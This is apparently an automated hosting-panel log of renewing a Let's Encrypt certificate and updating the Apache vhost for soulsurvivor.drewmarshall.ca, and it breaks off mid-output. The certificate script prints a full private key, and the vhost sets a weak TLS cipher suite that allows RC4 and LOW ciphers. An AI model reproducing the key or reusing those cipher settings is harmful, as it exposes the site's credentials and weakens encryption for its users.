MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-08 19:09:30: Establishing a connection
2026-03-08 19:09:30: Establishing a connection
2026-03-08 19:09:30: 

PUT: /tmp/pkp385227

#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-08 19:09:30: 

chmod 755 /tmp/pkp385227; /tmp/pkp385227; rm /tmp/pkp385227

2026-03-08 19:09:30: 


1


2026-03-08 19:09:31: Establishing a connection
2026-03-08 19:09:32: 

PUT: /tmp/pkp639011

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > krX2dCuMCE6S20mGHIH5HitIJPJqFC2H9r6_e8cpCdM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
krX2dCuMCE6S20mGHIH5HitIJPJqFC2H9r6_e8cpCdM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 krX2dCuMCE6S20mGHIH5HitIJPJqFC2H9r6_e8cpCdM


2026-03-08 19:09:32: 

chmod 755 /tmp/pkp639011; /tmp/pkp639011; rm /tmp/pkp639011

2026-03-08 19:09:32: 




2026-03-08 19:09:37: Establishing a connection
2026-03-08 19:09:37: 

PUT: /tmp/pkp648610

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm krX2dCuMCE6S20mGHIH5HitIJPJqFC2H9r6_e8cpCdM


2026-03-08 19:09:37: 

chmod 755 /tmp/pkp648610; /tmp/pkp648610; rm /tmp/pkp648610

2026-03-08 19:09:37: 




2026-03-08 19:09:37: Establishing a connection
2026-03-08 19:09:38: 

PUT: /tmp/pkp490733

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt

cat > $temp_file <<'endmsg'
b1:bf:66:65:f1:87:af:27:b2:62:48:9e:61:0d:de:07

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBhS88sH9W9sJA0eX9eFHWStUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA4MTgxMTA3WhcNMjYwNjA2MTgxMTA2WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAuAlEDa7m5QXEd+hMcH5bnR+GQ2hy7slPSiyGz/6QlprF
ZN0mqQZWaiA6TM8ySfuXZyWkRYcLkocfhQeBmg5daf0Z9dDtYJMHntCdA/EJEHnx
kTFP902LmMKJkqe9Q2k7ACFuH6LBOqQm3VwWyIdLah6B2Ys2ixXAmVsrraiBpXrR
0tZG5oFpRvParI8eiWhIWpmhqhstBGorrocb5NN8TaFbbWXDtjkzRimjFBhoYnpC
V3ISsN8aALKmnaKKio6sJKRYJsJLxAjZgJXrivhJDLVv4gH7OYhj+IZimu2Ox6oQ
3qrRBKwSNr4q0Veb6NtJBrXOAJXChNHAPbZJSt5MvwIDAQABo4ICKDCCAiQwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFPiUdkpF8r2gKwhoKcSLL2N0iRauMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcc291bHN1cnZpdm9yLmRy
ZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzg1LmNybDCCAQoGCisGAQQB1nkC
BAIEgfsEgfgA9gB1AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAAB
nM7a4jgAAAQDAEYwRAIgQ0Bwlp7T4f5lgBRpT9EWTEXDIxHiMQf2mW4nT4VLMugC
IEgcwgShUhc7o3NPBKNVftlkRsQHMEycr4LuFgRUIA5DAH0AGoudaUpXmMiZoMqI
vfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGcztrihAAIAAAFAFRoRngEAwBGMEQCIBgo
8gHHtLslv8g7drfhTjR2h1phSnToIo7PCNmlZ+XaAiBKft89BMTuwIHiIVWVxWCt
rXR+Fe04tPlpCgCosin5ATANBgkqhkiG9w0BAQsFAAOCAQEAXtWy/S1j1oRsn8e/
l1dR0ejr/aRKcLOUS5heLUM7BhvKR/m3Y/T9JQ9zxqCIKkfXJRCocMrPVnr1hsNy
GAlD0ozO7ky2go6i67h+7oxY+VAF5uBIRpjkf8fLc2ab2HHqMrUtbl1hQiWaUt3t
hsdZ0PsPKOu07o0/6znyDxAFeEZQL3WSsqb5ms7ItXZHM24aDjn0jsGbiowKaSxy
1qV29OwiXYusLwTm4UIZy7LW16QpIfI5ovt/Syzul/+tl/g3Pvy8/IJ39nhvX/Yc
/SiqthhUjnLCDYgQdBI+Kso4shdOlOtdHWNF3CSeB3dseqMPxOuIbVjpDWslKw/o
stEQ+A==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC4CUQNrublBcR3
6ExwfludH4ZDaHLuyU9KLIbP/pCWmsVk3SapBlZqIDpMzzJJ+5dnJaRFhwuShx+F
B4GaDl1p/Rn10O1gkwee0J0D8QkQefGRMU/3TYuYwomSp71DaTsAIW4fosE6pCbd
XBbIh0tqHoHZizaLFcCZWyutqIGletHS1kbmgWlG89qsjx6JaEhamaGqGy0Eaiuu
hxvk03xNoVttZcO2OTNGKaMUGGhiekJXchKw3xoAsqadooqKjqwkpFgmwkvECNmA
leuK+EkMtW/iAfs5iGP4hmKa7Y7HqhDeqtEErBI2virRV5vo20kGtc4AlcKE0cA9
tklK3ky/AgMBAAECggEAHUzMWulXtWq/pt+DG/3iFBfqxlygv8epKgQAyqia2H93
oeFbwFlT9L2Ayq3KMeEub6uchb1EaGW+7O0PAzn6QV+cfHhw8ok2E2DfPrtnWAoy
HY2eT5829HE0efbeuRbN3+1ynPLKlM2Bqoh40CBKL3D/92SkoGwsJ75OK+3CBlhM
CqIm+hFkQ0Ptk4NwWG2FzM8irOm6r0hsgod2KFzrFwbHiF17HOa8+xqIoCh3c0Dq
B6CexRCKeSxoieifRU2YhUJyBdKC7iGWPWggNMFck9HtQFmjBr0esIg9DbqcPQRZ
+XjKGTcQTz+xEV1qWqZcErg/1mez9+Y57ieePAH0kQKBgQDwSoADTwghsdNFeQMH
KEd3gZnVw6FKRaSWJZ7MtHIOfQrd0wF6y33cSarOrXjLvht+5gAjo/uTlj3YETeh
NdQl8KIfTYe9h6z6W6X+t4dFDLeB2z2AcxB+S9XilzO2Q0oP0sZ6XyZjXN8EKXPi
DO2SQNzyOrT/AR289cs+blCpRQKBgQDEEUmdCqH/+QeiajxbAGnsz0KkmACxHDk/
fbhZyuBvutpXWWXRnhZq0IpRnIZmOtwn4HmtWla0WkpeN/z3Bf+enoRGrgih8j/9
l7QquymJWBwhfpNTjxB4jPec94QEMuddZrPRhMOF98FoFvkUGQ1+aeGg31tVER5/
6Qb0M0GEMwKBgDmQX2JriHMp+obmGoeYaqaCcav4FaeJT4h4srYvdDNsWTIS3oPg
Q+KF81lXzVxhyox35QikvBv7Hg2o8j64en4sS2pcVGxfGF1Rn06KAOnVxhBhyTYA
Wq8m07JYrpa3QALSZ6HhMX0UPojstUot9qvWxhdxYPLF/a3K5Emse75RAoGBALTa
zXBScoRPDb+/BtVaWFrcA7kXjOvSAOyT5wzMmqH1VZnlGIp2rG7y1ePZ4g9Ck/kk
kphZEElkT90BABJMMjH6PkGEHupjLquY19PiuLm70JcEzpjxClxoi676kYfd/JSn
O480S7azhm+hYTgss8m7mShvXyvkkqGiLYvsC68JAoGBAKpCDnSeb/sIH0saSP1g
JVN/Edy7Z1tmbBTumBb0TBQq0OFQz+Pal0HXCgmje5EBaXmEFEij7yK8f3bcNqRi
Q4TLC3N1am8zU8U8p5r3hfVpDwLVHIM2/miifTR5VroD4r4vdRbbf/2sHbNrsrSv
Drd6g66Dgi35UzuIvkhhlFjR
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-08 19:09:38: 

chmod 755 /tmp/pkp490733; /tmp/pkp490733; rm /tmp/pkp490733

2026-03-08 19:09:38: 


dir=/etc/ssl/certs


2026-03-08 19:09:38: 

PUT: /tmp/pkp817743

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-08 19:09:38: 

chmod 755 /tmp/pkp817743; /tmp/pkp817743; rm /tmp/pkp817743

2026-03-08 19:09:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-08 19:09:38: 

PUT: /tmp/pkp394614

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi


2026-03-08 19:09:38: 

chmod 755 /tmp/pkp394614; /tmp/pkp394614; rm /tmp/pkp394614

2026-03-08 19:09:38: 




2026-03-08 19:09:38: 

PUT: /tmp/pkp100453

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-08 19:09:38: 

chmod 755 /tmp/pkp100453; /tmp/pkp100453; rm /tmp/pkp100453

2026-03-08 19:09:38: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-08 19:09:38: Establishing a connection
2026-03-08 19:09:38: 

PUT: /tmp/pkp724031

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-08 19:09:38: 

chmod 755 /tmp/pkp724031; /tmp/pkp724031; rm /tmp/pkp724031

2026-03-08 19:09:38: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-08 19:09:38: 

PUT: /tmp/pkp262963

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-08 19:09:38: 

chmod 755 /tmp/pkp262963; /tmp/pkp262963; rm /tmp/pkp262963

2026-03-08 19:09:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf	1429

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
